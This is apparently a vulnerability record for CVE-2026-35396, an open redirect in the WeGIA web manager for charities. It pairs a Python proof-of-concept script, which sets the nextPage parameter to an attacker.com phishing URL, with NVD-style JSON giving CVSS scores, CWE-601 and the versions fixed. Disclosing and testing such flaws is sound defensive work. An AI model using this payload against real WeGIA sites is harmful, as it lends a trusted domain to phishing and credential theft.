CVE-2026-35396

# Proof of Concept for CVE-2026-35396 # This script demonstrates the Open Redirect vulnerability in WeGIA. import requests target_url = "http://target-ip/WeGIA/controle/control.php" malicious_url = "http://attacker.com/phishing" # Payload construction based on vulnerability description params = { "metodo": "listarId", "nomeClasse": "IsaidaControle", "nextPage": malicious_url } print(f"Sending request to: {target_url}") print(f"Attempting to redirect to: {malicious_url}") try: response = requests.get(target_url, params=params, allow_redirects=False) # Check if the response indicates a redirect (HTTP 302/301) if response.status_code in [301, 302, 303, 307, 308]: location_header = response.headers.get('Location') print(f"[+] Vulnerability Confirmed!") print(f"[+] Server responded with status code: {response.status_code}") print(f"[+] Redirect Location: {location_header}") if malicious_url in location_header: print(f"[+] Redirect leads to attacker-controlled domain.") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-35396", "sourceIdentifier": "[email protected]", "published": "2026-04-06T21:16:21.600", "lastModified": "2026-04-09T17:40:03.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a Web manager for charitable institutions. Prior to 3.6.9, an Open Redirect vulnerability was identified in the /WeGIA/controle/control.php endpoint of the WeGIA application, specifically through the nextPage parameter when combined with metodo=listarId and nomeClasse=IsaidaControle. The application fails to validate or restrict the nextPage parameter, allowing attackers to redirect users to arbitrary external websites. This can be abused for phishing attacks, credential theft, malware distribution, and social engineering using the trusted WeGIA domain. This vulnerability is fixed in 3.6.9."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.9", "matchCriteriaId": "A2128E5A-1B2E-4FD4-ADCE-1F7A619DFD51"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-4qxc-5j5f-4gp5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}